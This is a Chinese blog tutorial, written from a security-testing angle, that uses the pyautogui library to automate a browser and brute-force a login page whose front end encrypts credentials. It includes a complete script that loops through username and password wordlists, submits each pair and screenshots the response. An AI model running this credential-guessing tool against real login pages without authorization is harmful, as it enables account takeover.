python 将鼠标移动到指定位置_会python真的可以为所欲为——爆破前端加密登录...

欢迎关注公众号:Python爬虫数据分析挖掘,回复【开源源码】免费获取更多开源项目源码

59bdb2582565e283dc7f79d9114b4c56.png

做安全测试的时候经常会遇到前端登录数据包加密,又懒得去分析js看加密算法,特别一些做了混淆的,分析起来那叫一个恶心……
逼的我又拿起了python,开始一顿操作

5cb99e8bb319bfc726114844e17766a5.png

python真的能为所欲为

基础知识

这次要用到的是一个叫pyautogui的库,在python2的环境下安装很简单

python -m pip install pyautogui

然后在命令行测试一下是否能引用

fe834aeb2b5113092a968e8a4a22b151.png

没毛病,接下来简单介绍一下pyautogui简单来说,这个库可以用来模拟鼠标、键盘操作我们要用到的有

获取当前鼠标位置
pyautogui.position()

鼠标左击

pyautogui.click(x=123, y=456)

鼠标双击(按两下左键)

pyautogui.doubleClick(x=123, y=456)

鼠标左键按下

pyautogui.mouseDown(x=123, y=456)

鼠标左键松起

pyautogui.mouseUp(x=123, y=456)

键盘写入文本

pyautogui.typewrite('http://www.baidu.com\n')# 这里的 '\n'是换行,其他特殊按键请自行查找手册

截屏

pyautogui.screenshot('log/test.png')

每次操作间隔时间

pyautogui.PAUSE = 0.2  #单位 秒

差不多了,这些基本够我们用了,接下来开始造轮子

python大法好

分析一波流程
首先,我们在运行脚本的时候,肯定是命令行获取的焦点,而不是浏览器,所以第一步就需要打开浏览器,为了方便可以提前打开一个,通过点击底部任务栏来切换到浏览器

003bff34389048d6de3399fdbbd5a7ff.png

image.png

然后每次先输入地址,然后输入用户名,输入密码,点击登录按钮

输入地址,可以在浏览器地址栏右侧按下左键,然后移动到地址栏最左侧,然后再输入文本,带上'\n'就可以转到指定的页面了

输入用户名,这块可根据具体页面的文本框采用单击或双击的办法清空或选中用户名栏的文本

输入密码,同用户名

点击登录,鼠标移动到登录按钮然后左击

等待http响应后(自己根据网络速度估摸一个大致时间),截屏到指定目录

如此循环

代码如下:

#!/usr/bin/python2import pyautogui as pagimport timepag.PAUSE = 0.2def clearChar(chars):    reStr = ['\n','\r','\t',' ']    for reS in reStr:        chars = chars.replace(reS, '')    return charsclass Point:    x = 0    y = 0    def __init__(self, x, y):        self.x = x        self.y = ydef autoCrack(username, password):    global userBox    global passBox    global submitBtn    global urlBoxRight    global urlBoxLeft    global loginUrl    pag.mouseDown(urlBoxRight.x, urlBoxRight.y)    pag.mouseUp(urlBoxLeft.x, urlBoxLeft.y)    pag.typewrite(loginUrl+'\n')    time.sleep(1)    pag.click(userBox.x, userBox.y)    pag.typewrite(username)    pag.click(passBox.x, passBox.y)    pag.typewrite(password)    pag.click(submitBtn.x, submitBtn.y)    time.sleep(3)    pag.screenshot('log/{}_{}.png'.format(username, password))    time.sleep(1)if __name__ == '__main__':    # Point    chromeIcon = Point(988, 1778)    userBox = Point(2524, 600)    passBox = Point(2530, 706)    submitBtn = Point(2468, 852)    urlBoxRight = Point(2052, 74)    urlBoxLeft = Point(150, 68)    loginUrl = 'http://127.0.0.1/login.php'    userFile = 'user.txt'    passFile = 'pass.txt'    pUserFile = open(userFile, 'r')    pPassFile = open(passFile, 'r')    userList = pUserFile.readlines()    passList = pPassFile.readlines()    pUserFile.close()    pPassFile.close()    pag.click(chromeIcon.x, chromeIcon.y)    for pwd in passList:        pwd = clearChar(pwd)        for user in userList:            user = clearChar(user)            autoCrack(user, pwd)

看看实际效果

a9209a42b70387913e8b65bbf3f30b2a.png

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值